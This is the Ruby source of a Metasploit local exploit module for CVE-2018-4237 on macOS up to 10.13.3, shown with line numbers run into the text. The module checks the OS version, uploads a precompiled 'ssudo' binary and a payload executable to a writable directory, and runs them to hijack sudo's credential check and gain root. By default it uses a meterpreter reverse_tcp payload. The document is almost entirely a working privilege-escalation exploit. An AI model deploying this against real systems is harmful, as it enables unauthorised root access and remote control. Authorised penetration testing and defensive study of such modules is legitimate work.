Path: blob/master/modules/exploits/osx/local/libxpc_mitm_ssudo.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X libxpc MITM Privilege Escalation',19'Description' => %q{20This module exploits a vulnerablity in libxpc on macOS <= 10.13.321The task_set_special_port API allows callers to overwrite their bootstrap port,22which is used to communicate with launchd. This port is inherited across forks:23child processes will use the same bootstrap port as the parent.24By overwriting the bootstrap port and forking a child processes, we can now gain25a MitM position between our child and launchd.2627To gain root we target the sudo binary and intercept its communication with28opendirectoryd, which is used by sudo to verify credentials. We modify the29replies from opendirectoryd to make it look like our password was valid.30},31'License' => MSF_LICENSE,32'Author' => [ 'saelo' ],33'References' => [34['CVE', '2018-4237'],35['URL', 'https://github.com/saelo/pwn2own2018'],36],37'Arch' => [ ARCH_X64 ],38'Platform' => 'osx',39'DefaultTarget' => 0,40'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },41'Targets' => [42[ 'Mac OS X x64 (Native Payload)', {} ]43],44'DisclosureDate' => '2018-03-15',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52register_advanced_options [53OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])54]55end5657def upload_executable_file(filepath, filedata)58print_status("Uploading file: '#{filepath}'")59write_file(filepath, filedata)60chmod(filepath)61register_file_for_cleanup(filepath)62end6364def check65version = Rex::Version.new(get_system_version)66if version >= Rex::Version.new('10.13.4')67CheckCode::Safe68else69CheckCode::Appears70end71end7273def exploit74if check != CheckCode::Appears75fail_with Failure::NotVulnerable, 'Target is not vulnerable'76end7778if is_root?79fail_with Failure::BadConfig, 'Session already has root privileges'80end8182unless writable? datastore['WritableDir']83fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"84end8586exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo"))87exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"88upload_executable_file(exploit_file, exploit_data)89payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"90upload_executable_file(payload_file, generate_payload_exe)91exploit_cmd = "#{exploit_file} #{payload_file}"92print_status("Executing cmd '#{exploit_cmd}'")93cmd_exec(exploit_cmd)94end95end969798